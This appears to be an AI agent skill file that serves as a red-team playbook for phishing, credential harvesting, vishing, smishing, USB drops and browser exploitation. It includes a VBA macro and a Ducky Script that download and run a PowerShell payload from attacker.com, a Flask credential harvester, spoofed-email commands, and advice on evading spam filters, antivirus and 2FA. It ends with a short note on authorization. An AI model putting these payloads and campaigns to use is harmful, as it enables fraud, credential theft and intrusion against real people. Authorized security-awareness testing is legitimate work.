--- name: performing-social-engineering description: Conduct phishing campaigns, credential harvesting, pretexting, and social engineering attacks using tools like Gophish, SET, and custom techniques. Use when performing social engineering assessments or red team engagements. --- # Performing Social Engineering ## When to Use - Phishing campaign execution - Credential harvesting operations - Social engineering assessments - Red team engagements - Security awareness testing ## Phishing Infrastructure ### Gophish (Phishing Framework) ```bash # Install wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip unzip gophish-v0.12.1-linux-64bit.zip chmod +x gophish ./gophish # Access web interface https://localhost:3333 # Default: admin:gophish ``` **Gophish Campaign Setup:** 1. **Email Templates** - Create convincing phishing emails 2. **Landing Pages** - Clone legitimate sites for credential harvesting 3. **Sending Profiles** - Configure SMTP server 4. **Groups** - Import target user lists 5. **Campaign** - Combine all elements and launch ### SET (Social Engineering Toolkit) ```bash # Launch SET setoolkit # Common modules: # 1) Social-Engineering Attacks # 1) Spear-Phishing Attack Vectors # 2) Website Attack Vectors # 3) Credential Harvester Attack Method ``` **Credential Harvester:** ```bash # SET Menu: # 1 -> 2 -> 3 (Credential Harvester) # Choose site template or custom URL # Enter attacker IP # Hosts fake login page # Captures credentials when submitted ``` ## Email Phishing ### Email Spoofing ```bash # sendEmail (simple SMTP client) sendEmail -f ceo@company.com \ -t target@company.com \ -u "Urgent: Password Reset Required" \ -m "Click here to reset: http://evil.com/reset" \ -s smtp.server.com:25 # swaks (SMTP testing tool) swaks --to target@company.com \ --from ceo@company.com \ --header "Subject: Important Update" \ --body "Please review: http://evil.com" \ --server smtp.company.com ``` ### Attachment-Based Phishing **Malicious Office Macros:** ```vba ' Excel/Word VBA macro Sub AutoOpen() Shell "powershell -nop -w hidden -c ""IEX((new-object net.webclient).downloadstring('http://attacker.com/payload.ps1'))""" End Sub ``` **Malicious PDF:** ```bash # Create PDF with embedded JavaScript # Use tools like: # - metasploit (exploit/windows/fileformat/adobe_pdf_embedded_exe) # - PDFtk # - malicious JavaScript injection ``` **Malicious HTA:** ```html ``` ### Clone Legitimate Sites ```bash # HTTrack website copier httrack http://legitimate-site.com -O ./cloned_site/ # wget mirror wget --mirror --convert-links --adjust-extension --page-requisites --no-parent http://legitimate-site.com # Manual with curl curl -o index.html http://legitimate-site.com/login # Modify form action to send credentials to attacker

``` ### Credential Harvesting Server **Simple PHP Harvester:** ```php ``` **Python Flask Harvester:** ```python from flask import Flask, request, redirect app = Flask(__name__) @app.route('/login', methods=['POST']) def harvest(): with open('creds.txt', 'a') as f: f.write(f"User: {request.form['username']}, Pass: {request.form['password']}\n") return redirect('https://real-site.com') if __name__ == '__main__': app.run(host='0.0.0.0', port=80) ``` ## Voice Phishing (Vishing) ### SpoofCard/Caller ID Spoofing - Services to spoof caller ID - Impersonate IT support, executives, vendors - Social engineering over phone **Common Pretexts:** - IT support needing to verify credentials - HR department verifying personal information - Finance department confirming wire transfer - Vendor requiring payment information update ## SMS Phishing (Smishing) ```bash # Send SMS with link # Use services or tools like: # - Twilio API # - SMS gateways # - SIM card with AT commands # Example pretext: "Your package delivery failed. Track here: http://evil.com/track" "Your account has been locked. Reset here: http://evil.com/unlock" "You've won a prize! Claim here: http://evil.com/claim" ``` ## USB Drop Attacks ### Rubber Ducky / Bad USB **Ducky Script Example:** ``` REM Open PowerShell and download payload DELAY 2000 GUI r DELAY 500 STRING powershell -w hidden ENTER DELAY 1000 STRING IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1') ENTER ``` **Bash Bunny:** ```bash # Payloads at /payloads/switch1/ # Example: exfiltrate files, run payload, etc. ``` ### Physical USB Drops **Pretexts:** - "Company Financial Data 2024" - "Salary Information - Confidential" - "Employee Bonuses Q4" - "IT Security Update - Required" **Payload Ideas:** - Reverse shell - Credential stealer - Keylogger - Data exfiltration - Persistence mechanisms ## QR Code Phishing ```bash # Generate QR code pointing to phishing site qrencode -o evil_qr.png "http://evil.com/harvest" # Print and place in physical locations: # - "Scan for Free WiFi" # - "Employee Portal Access" # - "Building Directory" ``` ## Watering Hole Attacks 1. **Identify** target organization's commonly visited sites 2. **Compromise** the website (or create lookalike) 3. **Inject** malicious code (exploit or profiling) 4. **Wait** for targets to visit and get compromised ## Browser-Based Attacks ### BeEF (Browser Exploitation Framework) ```bash # Start BeEF ./beef # Hook browsers with: # Access UI http://127.0.0.1:3000/ui/panel # Default: beef:beef # Commands: # - Social Engineering (fake notifications) # - Browser exploitation # - Network discovery # - Credential harvesting ``` ### Fake Update Pages ```html Critical Browser Update Required

Your browser is out of date!

Click here to download the latest security update.

Download Update ``` ## Pretexting Scenarios **IT Support:** - "Hi, this is John from IT. We're doing routine password resets..." - "We've detected suspicious activity on your account..." - "Your VPN certificate is expiring, we need to update it..." **Executive Impersonation:** - "This is [CEO name], I'm in a meeting and need you to..." - "Urgent: Wire transfer needed before end of day..." - "I'm traveling and can't access my account, can you help me..." **Vendor/Partner:** - "This is accounting from [vendor]. We need to update payment information..." - "Your invoice is past due, please update billing details..." **Delivery/Shipping:** - "Package delivery failed, verify address..." - "Customs clearance required, pay fee at..." ## LinkedIn/Social Media Reconnaissance ```bash # Gather employee information # - Job titles # - Organizational structure # - Technologies used # - Recent activities/projects # Tools: # - theHarvester # - linkedin2username # - hunter.io (email patterns) # Use for: # - Targeted phishing # - Pretexting scenarios # - Impersonation attacks ``` ## Payload Delivery Methods **Links:** - Shortened URLs (bit.ly, tinyurl) - Typosquatting domains - Homograph attacks (IDN homograph) - URL obfuscation **Attachments:** - Office documents with macros (.docm, .xlsm) - PDFs with exploits/JavaScript - Compressed files (.zip, .rar) - ISO/IMG files - LNK files (shortcut tricks) **Advanced:** - HTML smuggling - Polyglot files - Password-protected archives (bypass AV) - Signed malware (stolen/fake certificates) ## Tracking and Reporting **Email Tracking:** ```html ``` **Link Tracking:** ```bash # Unique URL per target http://attacker.com/click?id=USER123 # Log access in server ``` **Metrics to Track:** - Emails sent - Emails opened (tracking pixel) - Links clicked - Credentials submitted - Attachments opened - Time to first click/submission ## OpSec Considerations **Infrastructure:** - Use disposable domains - HTTPS for credential harvesting - Legitimate SSL certificates (Let's Encrypt) - Categorize domains (submit to categorization services) - CDN for hosting (CloudFlare) **Email:** - SPF/DKIM/DMARC alignment - Warm up email reputation - Similar but different domains (company.com vs company-portal.com) - Avoid spam trigger words **Detection Avoidance:** - Realistic sender names and addresses - Professional email content - Avoid known malicious indicators - Time-based delivery (business hours) - Geofencing (target geography only) ## Tools Summary - **Gophish** - Phishing campaign management - **SET** - Social Engineering Toolkit - **BeEF** - Browser exploitation - **King Phisher** - Phishing campaign toolkit - **Evilginx2** - MITM phishing proxy (bypass 2FA) - **Modlishka** - Reverse proxy phishing - **CredSniper** - 2FA token capture - **ShellPhish** - Automated phishing ## Defensive Awareness Teach users to recognize: - Urgency/pressure tactics - Requests for credentials - Unusual senders - Suspicious links/attachments - Too-good-to-be-true offers - Requests to bypass security ## Legal and Ethical Considerations - **Always have written authorization** - Define scope clearly - Protect harvested data - Follow ROE (Rules of Engagement) - Report findings responsibly - Delete data after engagement ## References - https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology - https://getgophish.com/ - https://github.com/trustedsec/social-engineer-toolkit - https://www.social-engineer.org/